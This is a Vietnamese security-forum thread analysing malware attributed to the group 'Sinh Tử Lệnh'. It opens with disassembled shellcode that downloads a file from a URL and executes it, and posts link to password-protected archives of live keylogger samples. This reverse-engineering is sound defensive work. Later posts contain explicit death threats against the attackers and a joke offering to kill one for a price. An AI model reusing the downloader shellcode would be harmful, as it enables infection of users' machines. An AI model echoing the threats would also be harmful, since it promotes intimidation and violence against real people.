debug008:00148FF4 650 call [ebp+GetProcAddress]
debug008:00148FF4
debug008:00148FFA 650 cmp eax, 0
debug008:00148FFD 650 jz @@Terminate
debug008:00148FFD
debug008:00149003 650 mov [ebp+RtlZeroMemory], eax
debug008:00149009 650 lea eax, [ebp+szLoadLibraryA]
debug008:0014900F 650 push eax
debug008:00149010 654 push [ebp+hKernel32]
debug008:00149016 658 call [ebp+GetProcAddress]
debug008:00149016
debug008:0014901C 658 mov [ebp+LoadLibraryA], eax
debug008:00149022 658 lea eax, [ebp+szUrlmon.dll]
debug008:00149028 658 push eax
debug008:00149029 65C call [ebp+LoadLibraryA]
debug008:00149029
debug008:0014902F 65C cmp eax, 0
debug008:00149032 65C jz @@Terminate
debug008:00149032
debug008:00149038 65C mov [ebp+hUrlmon.dll], eax
debug008:0014903E 65C lea eax, [ebp+szURLDownloadToFile]
debug008:00149044 65C push eax
debug008:00149045 660 push [ebp+hUrlmon.dll]
debug008:0014904B 664 call [ebp+GetProcAddress]
debug008:0014904B
debug008:00149051 664 cmp eax, 0
debug008:00149054 664 jz @@Terminate
debug008:00149054
debug008:0014905A 664 mov [ebp+URLDownloadToFile], eax
debug008:00149060 664 lea eax, [ebp+szGetTempPathW]
debug008:00149066 664 push eax
debug008:00149067 668 push [ebp+hKernel32]
debug008:0014906D 66C call [ebp+GetProcAddress]
debug008:0014906D
debug008:00149073 66C cmp eax, 0
debug008:00149076 66C jz @@Terminate
debug008:00149076
debug008:0014907C 66C mov [ebp+GetTempPathW], eax
debug008:00149082 66C lea eax, [ebp+szGetTempFileNameW]
debug008:00149088 66C push eax
debug008:00149089 670 push [ebp+hKernel32]
debug008:0014908F 674 call [ebp+GetProcAddress]
debug008:0014908F
debug008:00149095 674 cmp eax, 0
debug008:00149098 674 jz @@Terminate
debug008:00149098
debug008:0014909E 674 mov [ebp+GetTempFileNameW], eax
debug008:001490A4 674 lea ebx, [ebp+szTempDir]
debug008:001490AA 674 push ebx
debug008:001490AB 678 push 104h
debug008:001490B0 67C call [ebp+GetTempPathW]
debug008:001490B0
debug008:001490B6 67C push ebx
debug008:001490B7 680 push 0
debug008:001490B9 684 push 0
debug008:001490BB 688 push ebx
debug008:001490BC 68C call [ebp+GetTempFileNameW]
debug008:001490BC
debug008:001490C2 68C sub esp, 1000h
debug008:001490C8 168C push 0
debug008:001490CA 1690 push 0
debug008:001490CC 1694 lea ebx, [ebp+szTempDir]
debug008:001490D2 1694 push ebx
debug008:001490D3 1698 lea ebx, [ebp+szURL]
debug008:001490D9 1698 push ebx
debug008:001490DA 169C push 0
debug008:001490DC 16A0 call [ebp+URLDownloadToFile]
debug008:001490DC
debug008:001490E2 16A0 add esp, 1000h
debug008:001490E8 6A0 cmp eax, 0
debug008:001490EB 6A0 jnz @@Terminate
debug008:001490EB
debug008:001490F1 6A0 mov [ebp+szCreateProcessW], 'aerC'
debug008:001490FB 6A0 mov [ebp+var_3D8], 'rPet'
debug008:00149105 6A0 mov [ebp+var_3D4], 'seco'
debug008:0014910F 6A0 mov [ebp+var_3D0], 'Ws'
debug008:00149118 6A0 mov [ebp+var_3CE], 0
debug008:0014911F 6A0 mov [ebp+CreateProcessW], 0
debug008:00149129 6A0 lea eax, [ebp+szCreateProcessW]
debug008:0014912F 6A0 push eax
debug008:00149130 6A4 push [ebp+hKernel32]
debug008:00149136 6A8 call [ebp+GetProcAddress]
debug008:00149136
debug008:0014913C 6A8 cmp eax, 0
debug008:0014913F 6A8 jz short @@Terminate
debug008:0014913F
debug008:00149141 6A8 mov [ebp+CreateProcessW], eax
debug008:00149147 6A8 push 44h
debug008:00149149 6AC lea eax, [ebp+buffer1]
debug008:0014914F 6AC push eax
debug008:00149150 6B0 call [ebp+RtlZeroMemory]
debug008:00149150
debug008:00149156 6B0 mov eax, 44h
debug008:0014915B 6B0 mov [ebp+buffer1], eax
debug008:00149161 6B0 push 10h
debug008:00149163 6B4 lea eax, [ebp+buffer2]
debug008:00149169 6B4 push eax
debug008:0014916A 6B8 call [ebp+RtlZeroMemory]
debug008:0014916A
debug008:00149170 6B8 lea eax, [ebp+buffer2]
debug008:00149176 6B8 push eax
debug008:00149177 6BC lea eax, [ebp+buffer1]
debug008:0014917D 6BC push eax
debug008:0014917E 6C0 push 0
debug008:00149180 6C4 push 0
debug008:00149182 6C8 push 0
debug008:00149184 6CC push 0
debug008:00149186 6D0 push 0
debug008:00149188 6D4 push 0
debug008:0014918A 6D8 push 0
debug008:0014918C 6DC lea eax, [ebp+szTempDir]
debug008:00149192 6DC push eax
debug008:00149193 6E0 call [ebp+CreateProcessW]
debug008:00149193
debug008:00149199
debug008:00149199 @@Terminate: ; CODE XREF: ShellcodeProc+481j
debug008:00149199 ; ShellcodeProc+4B6j
debug008:00149199 ; ShellcodeProc+4D8j
debug008:00149199 ; ShellcodeProc+4FAj
debug008:00149199 ; ShellcodeProc+51Cj
debug008:00149199 ; ShellcodeProc+56Fj
debug008:00149199 ; ShellcodeProc+5C3j
debug008:00149199 6E0 mov [ebp+szTerminateProcess], 'mreT'
debug008:001491A3 6E0 mov [ebp+var_464], 'tani'
debug008:001491AD 6E0 mov [ebp+var_460], 'orPe'
debug008:001491B7 6E0 mov [ebp+var_45C], 'ssec'
debug008:001491C1 6E0 mov [ebp+var_458], 0
debug008:001491C8 6E0 lea eax, [ebp+szTerminateProcess]
debug008:001491CE 6E0 push eax
debug008:001491CF 6E4 push [ebp+hKernel32]
debug008:001491D5 6E8 call [ebp+GetProcAddress]
debug008:001491D5
debug008:001491DB 6E8 push 0
debug008:001491DD 6EC push 0FFFFFFFFh
debug008:001491DF 6F0 call eax
debug008:001491DF
debug008:001491E1 6F0 retn
Thôi em tạm nghỉ đây, lúc khác em sẽ post tiếp về các keylog và bot của STL.
Toàn bộ hình ảnh ở trên, file virus.doc và virus.exe, IDA 5.5 database, em post ở đây: http://www.mediafire.com/?ydsa6auc6v1asxj
Password=malware
Các file đã up virus.doc.bin và virus.exe em đã xoá, năm trong file HVAPost.rar hết. |
|
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
23/05/2011 16:19:39 (+0700) | #11 | 237698 |
|
conmale
Administrator
|
Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
|
|
Bài phân tích rất đã. Cám ơn TQN. Anh đã thay thể hình trên imagehacks với hình upload thẳng lên HVA để khỏi sợ mất hình minh hoạ.
PS: em đang "vẽ đường cho hưu chạy"... rông hay chạy vô tròng vậy? |
|
What bringing us together is stronger than what pulling us apart. |
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
23/05/2011 16:33:17 (+0700) | #12 | 237699 |
TQN
Elite Member
|
0 |
|
|
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
|
|
Cảm ơn anh conmale. Câu PS của anh em không hiểu. Nhưng nếu cho tụi này vô tròng được thì em cũng cố gắng. Tụi này chơi bẩn, hù doạ thiên hạ, em ghét.
Em chuẩn bị đi rồi. Ngoài nhà máy cũng có Internet nhưng không có bộ tool em đang dùng, nên về topic RCE keylog và botnet của STL em tạm dừng lại. Vào đây rồi làm tiếp.
Em up lên mediafile 2 keylog của STL mà em có được: http://www.mediafire.com/?ubbeuryp38jc7qk.
Password như cũ: malware.
Anh em nào có IDA 5.5 trở lên có thể tiếp tục phân tích.
2 file keylog này tới nay KAV của em vẫn không detect ra. Điều này chứng tỏ điều gì, các anh em suy nghĩ thử ?????
Các keylog và bot của STL đều có chung đặc điểm là:
1. Code = Visual C++ đời mới 2008, 2010
2. Dùng PE Compact để compress dll, exe file. (Nói nhỏ nhé: PE Compact nhét watermark về user trong file compacted đấy. Tiêu tụi mày rồi, nhưng nếu tui mày xài PE Compact cờ rắc thì em thua).
3. Export fake API COM DLL: DllCanUnloadNow, DllGetClassObject, DllRegisterServer, DllUnregisterServer. Các hàm này đa số đều return FALSE, chỉ 1 vài hàm làm công việc chính: keylog, inject...
Em sẽ post tool để detect PE private info như: Date compile, source directory, compiler&linker version, MS Rich information lên sau. Tool này chỉ private share, có thể khi detect ra nó đụng chạm nhiều lắm.
Phân tích các keylog này các bạn sẽ xác định được host của STL mà các keylog up key data lên. Tụi này dùng thuật toán mã hoá để mã hoác các URL string bèo lắm (lại sorry mấy đại ca STL nhé, em có gì sai sót bỏ qua nhé, đừng hại em !!!???).
PS: Khách đâu mà lắm thế ???
Nếu hồi đó máy em có install Firewall xịn thì chắc đã không bị dính đòn tụi này rồi. Mấy lần install Comodo rồi lại uninstall ra, thấy nặng thêm máy, phiền phức quá.
Kinh nghiệm rút ra: Không tin bất cứ file gì download về, phải scan, RCE, forrensic trước.
Còn một vấn đề nữa, em nói luôn, nhờ ai đó giỏi tiếng Anh hay anh conmale gởi giùm file .doc đó cho MS để họ kiểm tra và fix bug (nếu có). Chứ em mà gởi thì tụi MS bò ra mà đọc tiếng Anh cùi của em, cười bể bụng thì sao. Rồi đám STL nhảy vào la làng mày cướp công của tao !!!??? |
|
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
23/05/2011 17:40:38 (+0700) | #13 | 237704 |
|
minhhath
Member
|
0 |
|
|
Joined: 22/11/2010 10:03:38
Messages: 91
Location: Team unknow
Offline
|
|
bài viết của anh hay lắm.em thì mê mấy vụ này lắm nhưng khổ nổi gần thi tốt nghiệp ra trường không có time timg hiểu nhiều,nhưng khi rảnh em sẻ ngâm cứu tiếp.đúng là không uổng công em tham gia thành viên,em hiểu biết nhiều hơn ở havonline này.em mến yêu havonlina |
|
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
24/05/2011 05:38:47 (+0700) | #14 | 237727 |
|
conmale
Administrator
|
Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
|
|
Và.... email gởi cái word doc đó đi từ đây:
Cũng là santrex.net (đã đề cập nhiều lần trong chủ đề "Vài thông tin về nhóm STL" trong mục "Các chủ đề khác") . |
|
What bringing us together is stronger than what pulling us apart. |
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
24/05/2011 07:02:54 (+0700) | #15 | 237730 |
|
maithangbs
Elite Member
|
0 |
|
|
Joined: 28/11/2007 21:39:53
Messages: 567
Location: Д.и.Р
Offline
|
|
conmale wrote:
Bài phân tích rất đã. Cám ơn TQN. Anh đã thay thể hình trên imagehacks với hình upload thẳng lên HVA để khỏi sợ mất hình minh hoạ.
PS: em đang "vẽ đường cho hưu chạy"... rông hay chạy vô tròng vậy?
Sao chả thấy hình đâu cả, bác conmale ơi?
Edit: Giờ mới thấy |
|
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
24/05/2011 10:06:57 (+0700) | #16 | 237741 |
alakay
Member
|
0 |
|
|
Joined: 17/07/2010 11:13:54
Messages: 56
Offline
|
|
Anh quanta cho biết các câu lện thực hiện đựoc không, hi hi . |
|
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
24/05/2011 10:13:28 (+0700) | #17 | 237745 |
|
quanta
Moderator
|
Joined: 28/07/2006 14:44:21
Messages: 7265
Location: $ locate `whoami`
Offline
|
|
alakay wrote:
Anh quanta cho biết các câu lện thực hiện đựoc không, hi hi .
Lệnh gì bạn? Mình "nghịch" cho biết vậy thôi chứ cái này chưa đủ trình để ngâm cứu. |
|
Let's build on a great foundation! |
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
24/05/2011 10:16:35 (+0700) | #18 | 237747 |
TQN
Elite Member
|
0 |
|
|
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
|
|
Phong cách code của STL coder là pure C & API, không và rất ít dùng C++, C++ library... Cấp phát local buffer trên stack thiệt bự để khỏi overwrite. Các bạn thử RCE hai DLL keylog của STL sẽ thấy. Cái này có ai thấy quen quen không ha ? |
|
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
24/05/2011 10:20:47 (+0700) | #19 | 237748 |
alakay
Member
|
0 |
|
|
Joined: 17/07/2010 11:13:54
Messages: 56
Offline
|
|
quanta wrote:
alakay wrote:
Anh quanta cho biết các câu lện thực hiện đựoc không, hi hi .
Lệnh gì bạn? Mình "nghịch" cho biết vậy thôi chứ cái này chưa đủ trình để ngâm cứu.
Thì các câu lệnh giải nén, objdump ...
em sợ làm o đúng lại bị dính chưởng . |
|
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
24/05/2011 11:08:58 (+0700) | #20 | 237755 |
|
xnohat
Moderator
|
Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
|
|
alakay wrote:
Thì các câu lệnh giải nén, objdump ...
em sợ làm o đúng lại bị dính chưởng .
Sợ dính chưởng thì làm trên Máy ảo hoặc... nghỉ làm
@TQN: bài phân tích quá đã, đọc sáng ra nhiều điều về Reverse ( mặc dù tớ là dân ngoại đạo về Reverse ) |
|
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline |
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
25/05/2011 08:11:08 (+0700) | #21 | 237825 |
TQN
Elite Member
|
0 |
|
|
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
|
|
Anh em nào đã, đang phân tích 2 file .dll keylog của STL mà em up lên mediafire ?
Được gì thì post lên cho mọi người thảo luận cho đông vui, mình em độc diển buồn lắm. |
|
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
25/05/2011 13:13:48 (+0700) | #22 | 237847 |
|
quanta
Moderator
|
Joined: 28/07/2006 14:44:21
Messages: 7265
Location: $ locate `whoami`
Offline
|
|
Mình đang "quậy" trên Linux với: ghex2, okteta, bvi, xxd, objcopy, objdump, ... và đang thắc mắc ở một chỗ: sau khi copy đoạn hex từ 0xEE8D4 tới 0xEEF39, tạo ngược lại file .bin, sau đó không chuyển thành .exe mà lại thành .elf rồi load vào Evan's Debugger (http://www.codef00.com/projects) thì liệu mình vẫn có thể debug ra URL kia được không? |
|
Let's build on a great foundation! |
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
25/05/2011 15:32:35 (+0700) | #23 | 237860 |
|
gsmth
Elite Member
|
0 |
|
|
Joined: 15/02/2007 13:25:36
Messages: 749
Offline
|
|
quanta wrote:
Mình đang "quậy" trên Linux với: ghex2, okteta, bvi, xxd, objcopy, objdump, ... và đang thắc mắc ở một chỗ: sau khi copy đoạn hex từ 0xEE8D4 tới 0xEEF39, tạo ngược lại file .bin, sau đó không chuyển thành .exe mà lại thành .elf rồi load vào Evan's Debugger http://www.codef00.com/projects) thì liệu mình vẫn có thể debug ra URL kia được không?
Về bản chất thì được, bởi vì đoạn shellcode được viết bằng mã máy mà |
|
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
25/05/2011 21:28:32 (+0700) | #24 | 237875 |
|
chube
Member
|
0 |
|
|
Joined: 22/10/2010 02:34:04
Messages: 105
Location: ░░▒▒▓▓██
Offline
|
|
góp chút gạo hihi :
- File HARDKBD.dll hồi 21/01/2011 được post lên virscan với result là 2 AV phát hiện :
AntiVir : TR/Agent.RI.2
Dr Web: BackDoor.Trojan
- Mới up vừa nãy thì chỉ còn 1 Dr Web còn detect.
- Theo ThreatExpert
(http://www.threatexpert.com/report.aspx?md5=fa9bfec1cbdbfec643021bf6bd943034)
thì file HARDKBD.dll là file sinh ra do keygen maker for VMWare ( theo link bên trên) sinh ra cùng các file khác ( không biết có liên quan gì với file HARDKBD ở trên hay không vì cùng 13x KB)
- như anh TQN đề cập, Entry Point bắt đầu với opcode 8BFF , mov edi,edi ==> 1 function prolog và theo ( http://www.openrce.org/forums/posts/470 ) thì prolog này cung cấp 5 byte tại start address, lí do thì để nguyên văn :
...........
"...Five because that's the length of a "JMP XXXXXXXX", so those functions can be hotpatched without need to disassemble their prolog to figure out how many bytes need to be saved
Anything wanting to hotpatch a function with such prolog can just override those first 5 known bytes "MOV EDI, EDI" and "PUSH EBP", jump elsewhere and jump back to the instruction starting in the 6th byte after issuing a "PUSH EBP"
And very silly, but just in case you wonder why the "MOV EDI, EDI" that and not a NOP NOP sequence... it's simple, it's just one instruction as oposed to 2."
..........
Và để biết thêm 1 số thông tin khác --> ( http://blogs.msdn.com/b/ishai/archive/2004/06/24/165143.aspx ) sory vì tiếng anh em kém hihi
- file DLL kia em scan với PE Detective với result : PECompact v2.x --> bitsum technologies và bị avi chém
- file DLL này scan với CFF dc 4 option: File is excutable , File is dll và 32 bit word machine và NX Compatible ( NX bit là gì thì vào đây : http://en.wikipedia.org/wiki/NX_bit)
- View Header Info - > Magic : PE 32 , Time Date Stamp : 03/05/2010 8:34:43
Pointer Raw Data trỏ đến resource table là file xml:
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></requestedPrivileges></security></trustInfo><application xmlns="urn:schemas-microsoft-com:asm.v3"><windowsSettings><ms_windowsSettings:dpiAware xmlns:ms_windowsSettings="http://schemas.microsoft.com/SMI/2005/WindowsSettings
- Import table xài 6 dll : user32,shlwapi,shell32,psaapi,kernel32,advapi32 gồm cac function và procedure xoay quanh các chức năng làm việc với Thread, Process, pointer read/write file và Heap
CreateRemoteThread
GetCurrentProcess:
HeapSize
HeapFreeze
HeapReAlloc
GetProcessHeap
Sleep
GetLocalTime 'GetLocalTime
Thread
GetSetTickCount
ReadWrite File
Write process memory
Encode pointer
Decode pointer..vv
- View string thì em thấy 1 loạt các kí tự a-z cả hoa lẫn thường và các kí hiệu đặc biệt của bàn phím và locale các nước và thực hiện 1 số thao tác với các file services.exe, logonui, explorer và logon.exe...
- đợi anh diễn tiếp, ko biết anh có kế hoạch gì trước khi post lên ngần này thông tin chưa hihi
"> |
|
.-/ / )
|/ / /
/.' /
// .---.
/ .--._\ Awesome Season to hack :') Dont you think so? xD
/ `--' /
/ .---'
/ .'
/ |
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
26/05/2011 02:03:44 (+0700) | #25 | 237891 |
sangteamtham
Member
|
0 |
|
|
Joined: 13/11/2008 18:34:26
Messages: 27
Location: Việt Nam
Offline
|
|
Bài viết sâu sắc. Nhưng không thấy hình ảnh gì cả. Làm ơn check lại giùm. Thanks |
|
Một sự việc và hàng tỉ cái đầu |
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
26/05/2011 15:30:17 (+0700) | #26 | 237939 |
TQN
Elite Member
|
0 |
|
|
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
|
|
Gởi tụi STL:
1. Tụi mày lớn hơn tao không mà xưng anh với tao ?
2. Tụi mày chơi trò quá bẩn, núp trong bóng tối, chơi trò ăn cắp pass bao nhiêu lâu rồi mà không thấy xấu hổ à.
3. Tụi mày tưởng hù doạ được tao à. Tao chỉ cần biết một thằng ngoài đời của tụi bây là thằng đó mất xác, khỏi đi tìm.
4. Mấy cái pass cho mấy cái forum, mail vớ vẫn ấy, tao PM cho tui bây cũng được, mất cái này tao tạo cái khác, tên tuổi của tao TQN thì dưới bất cứ nick gì vẫn là TQN.
5. Tui mày chơi bẩn, đợi tao đi xa mới dám tấn công à ?
6. Tui mày tưởng vào được cái xxxbank của tao là giỏi à ? Tụi mày vào đó chỉ xem được chi tiết giao dịch rút, chuyển tiền của tao chứ làm chó gì được. Muốn rút tiền của tao à ? Còn lâu, chữ ký, đt, CMND của tao không có thì đố tụi mày rút tiền được. Vậy mà còn nói dóc, vào rồi ra, để đức cho con cháu. Một ngày làm của tao bằng 10 tháng lương của 10 thằng làm ăn lương hèn hạ của tụi mày.
Tao sẽ theo vụ này tới cùng, đừng để thằng nào gặp tao ngoài đường nhé, đệ của tao xả chết ráng chịu nhe. Thách cho tụi mày có chính quyền chống lưng, chơi trò rootkit, snip packet của tao ?
PS: À quên, mạng của một thằng trong tụi mày cao lắm là 30 chai thôi, nhớ nhé ! |
|
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
26/05/2011 16:06:11 (+0700) | #27 | 237942 |
|
vikjava
Elite Member
|
0 |
|
|
Joined: 28/06/2004 02:32:38
Messages: 926
Location: NQN
Offline
|
|
Hi anh,
Vụ việc như thế nào mà anh nóng giận thế. Bớt nóng anh, làm vài lon ken cho hạ hoả |
|
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
26/05/2011 16:23:44 (+0700) | #28 | 237944 |
PXMMRF
Administrator
|
Joined: 26/09/2002 07:17:55
Messages: 946
Offline
|
|
TQN wrote:
Gởi tụi STL:
1. Tụi mày lớn hơn tao không mà xưng anh với tao ?
2. Tụi mày chơi trò quá bẩn, núp trong bóng tối, chơi trò ăn cắp pass bao nhiêu lâu rồi mà không thấy xấu hổ à.
3. Tụi mày tưởng hù doạ được tao à. Tao chỉ cần biết một thằng ngoài đời của tụi bây là thằng đó mất xác, khỏi đi tìm.
4. Mấy cái pass cho mấy cái forum, mail vớ vẫn ấy, tao PM cho tui bây cũng được, mất cái này tao tạo cái khác, tên tuổi của tao TQN thì dưới bất cứ nick gì vẫn là TQN.
5. Tui mày chơi bẩn, đợi tao đi xa mới dám tấn công à ?
6. Tui mày tưởng vào được cái xxxbank của tao là giỏi à ? Tụi mày vào đó chỉ xem được chi tiết giao dịch rút, chuyển tiền của tao chứ làm chó gì được. Muốn rút tiền của tao à ? Còn lâu, chữ ký, đt, CMND của tao không có thì đố tụi mày rút tiền được. Vậy mà còn nói dóc, vào rồi ra, để đức cho con cháu. Một ngày làm của tao bằng 10 tháng lương của 10 thằng làm ăn lương hèn hạ của tụi mày.
Tao sẽ theo vụ này tới cùng, đừng để thằng nào gặp tao ngoài đường nhé, đệ của tao xả chết ráng chịu nhe. Thách cho tụi mày có chính quyền chống lưng, chơi trò rootkit, snip packet của tao ?
PS: À quên, mạng của một thằng trong tụi mày cao lắm là 30 chai thôi, nhớ nhé !
(6) Đúng như vậy! Biết được username và password của người nào đó để vào đươc website của một ngân hàng Việt nam, thí dụ Vietcombank, thì chỉ biết được các thông tin sau:
- Số tài khoản mà người đó đang dùng và đã từng dùng
- Số dư trên tài khoản và giá trị có thể giao dịch trong số dư
- Số lần và giá trị giao dịch mà chủ tài khoản đã thực hiện thời gian vừa qua
Còn việc rút tiền (lấy cắp tiền) ra từ tài khoản thì không thể.
Vì muốn rút tiền ra từ tài khoản, người rút phải làm 1 form xin rút tiền, ký tên vào form và trình cho ngân hàng giấy chứng minh hơp lệ. Nhân viên ngân hàng thường xem kỹ CMND và kiểm tra đối chiếu rất kỹ chữ ký trên form và chữ ký lưu tại ngân hàng (khi mở tài khoản). Chưa kể các nhân viên ngân hàng thường đã rất quen mặt khách hàng (do đã tiếp xúc nhiều lần)
Vì thế việc lấy đươc username và pass. vào website ngân hàng, chỉ giống như đến đươc chân núi Everest mà thôi.
Ở công ty tôi, khi đi công tác xa (nơi không có mạng Internet hay 3G), tôi thường nhờ một số anh em trong cơ quan kiểm tra hộ tài khoản cho mình.
Công việc và giao dịch của TQN là hoàn toàn hợp pháp nên chẳng có gí phải quan tâm. Vả lai xin ngân hàng lai username mới và pass. mới là dễ dàng.
(7) Theo chỗ mình biết thì chính quyền ta không để cho STL dưa lưng đâu. Những việc làm manh đông và không hợp pháp (vi phạm quyền công dân) thì chẳng ai muốn dính vào đâu.
Nhưng một chính quyền khác hay một thế lực khác (không phải "ta") thì rất có thể, (vì có những lý do của việc đó)
|
|
The absence of disagreement is not harmony, it's apathy.
(Socrates)
Honest disagreement is often a good sign of progress.
(Mahatma Gandhi)
|
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
26/05/2011 16:52:38 (+0700) | #29 | 237946 |
|
conmale
Administrator
|
Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
|
|
TQN wrote:
Gởi tụi STL:
1. Tụi mày lớn hơn tao không mà xưng anh với tao ?
2. Tụi mày chơi trò quá bẩn, núp trong bóng tối, chơi trò ăn cắp pass bao nhiêu lâu rồi mà không thấy xấu hổ à.
3. Tụi mày tưởng hù doạ được tao à. Tao chỉ cần biết một thằng ngoài đời của tụi bây là thằng đó mất xác, khỏi đi tìm.
4. Mấy cái pass cho mấy cái forum, mail vớ vẫn ấy, tao PM cho tui bây cũng được, mất cái này tao tạo cái khác, tên tuổi của tao TQN thì dưới bất cứ nick gì vẫn là TQN.
5. Tui mày chơi bẩn, đợi tao đi xa mới dám tấn công à ?
6. Tui mày tưởng vào được cái xxxbank của tao là giỏi à ? Tụi mày vào đó chỉ xem được chi tiết giao dịch rút, chuyển tiền của tao chứ làm chó gì được. Muốn rút tiền của tao à ? Còn lâu, chữ ký, đt, CMND của tao không có thì đố tụi mày rút tiền được. Vậy mà còn nói dóc, vào rồi ra, để đức cho con cháu. Một ngày làm của tao bằng 10 tháng lương của 10 thằng làm ăn lương hèn hạ của tụi mày.
Tao sẽ theo vụ này tới cùng, đừng để thằng nào gặp tao ngoài đường nhé, đệ của tao xả chết ráng chịu nhe. Thách cho tụi mày có chính quyền chống lưng, chơi trò rootkit, snip packet của tao ?
PS: À quên, mạng của một thằng trong tụi mày cao lắm là 30 chai thôi, nhớ nhé !
Hì hì, bình tĩnh em. Những ai ký tên STL kia ít ra cũng đã làm cho em điên tiết lên vì những tiểu xảo ngôn ngữ. Bởi vậy, đừng mất bình tĩnh trước tiểu xảo ngôn ngữ bởi vì những thứ đó không có mấy giá trị. Vả lại, chính bọn họ đã sử dụng quá nhiều "tiểu xảo ngôn ngữ" từ đầu đến cuối rồi, có gì mới mẻ đâu?
Hãy dùng khoa học và kỹ thuật để chứng minh sự thật và tạo điều kiện để mọi người tham gia thảo luận một cách chuyên môn và bổ ích. Những việc làm này nằm ở vị trí hoàn toàn khác với những công việc ăn cắp và sử dụng tiểu xảo ngôn ngữ. |
|
What bringing us together is stronger than what pulling us apart. |
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
26/05/2011 17:40:40 (+0700) | #30 | 237947 |
|
gamma95
Researcher
|
Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa">
Offline
|
|
TQN wrote:
Gởi tụi STL:
1. Tụi mày lớn hơn tao không mà xưng anh với tao ?
2. Tụi mày chơi trò quá bẩn, núp trong bóng tối, chơi trò ăn cắp pass bao nhiêu lâu rồi mà không thấy xấu hổ à.
3. Tụi mày tưởng hù doạ được tao à. Tao chỉ cần biết một thằng ngoài đời của tụi bây là thằng đó mất xác, khỏi đi tìm.
4. Mấy cái pass cho mấy cái forum, mail vớ vẫn ấy, tao PM cho tui bây cũng được, mất cái này tao tạo cái khác, tên tuổi của tao TQN thì dưới bất cứ nick gì vẫn là TQN.
5. Tui mày chơi bẩn, đợi tao đi xa mới dám tấn công à ?
6. Tui mày tưởng vào được cái xxxbank của tao là giỏi à ? Tụi mày vào đó chỉ xem được chi tiết giao dịch rút, chuyển tiền của tao chứ làm chó gì được. Muốn rút tiền của tao à ? Còn lâu, chữ ký, đt, CMND của tao không có thì đố tụi mày rút tiền được. Vậy mà còn nói dóc, vào rồi ra, để đức cho con cháu. Một ngày làm của tao bằng 10 tháng lương của 10 thằng làm ăn lương hèn hạ của tụi mày.
Tao sẽ theo vụ này tới cùng, đừng để thằng nào gặp tao ngoài đường nhé, đệ của tao xả chết ráng chịu nhe. Thách cho tụi mày có chính quyền chống lưng, chơi trò rootkit, snip packet của tao ?
PS: À quên, mạng của một thằng trong tụi mày cao lắm là 30 chai thôi, nhớ nhé !
Em báo giá lại cho anh là nếu em làm chỉ lấy 20 chai thôi, đạn AK dạo này mua rẻ vãi, có gì contact em nha
PS: Các chú STL không biết sự vừa phải, việc làm của các chú dưới mức chấp nhận được của đạo đức căn bản, chứ đừng nói gì đến đạo đức của dân làm máy tính nói chung. Bản thân tôi rất muốn chơi công bằng với các chú đó (a.k.a Neo, a.k.a XXX ???) |
|
Cánh chym không mỏi
lol |
|
|
|
|
|
|
Users currently in here |
2 Anonymous
|
|
Powered by JForum - Extended by HVAOnline
hvaonline.net | hvaforum.net | hvazone.net | hvanews.net | vnhacker.org
1999 - 2013 ©
v2012|0504|218|
|
|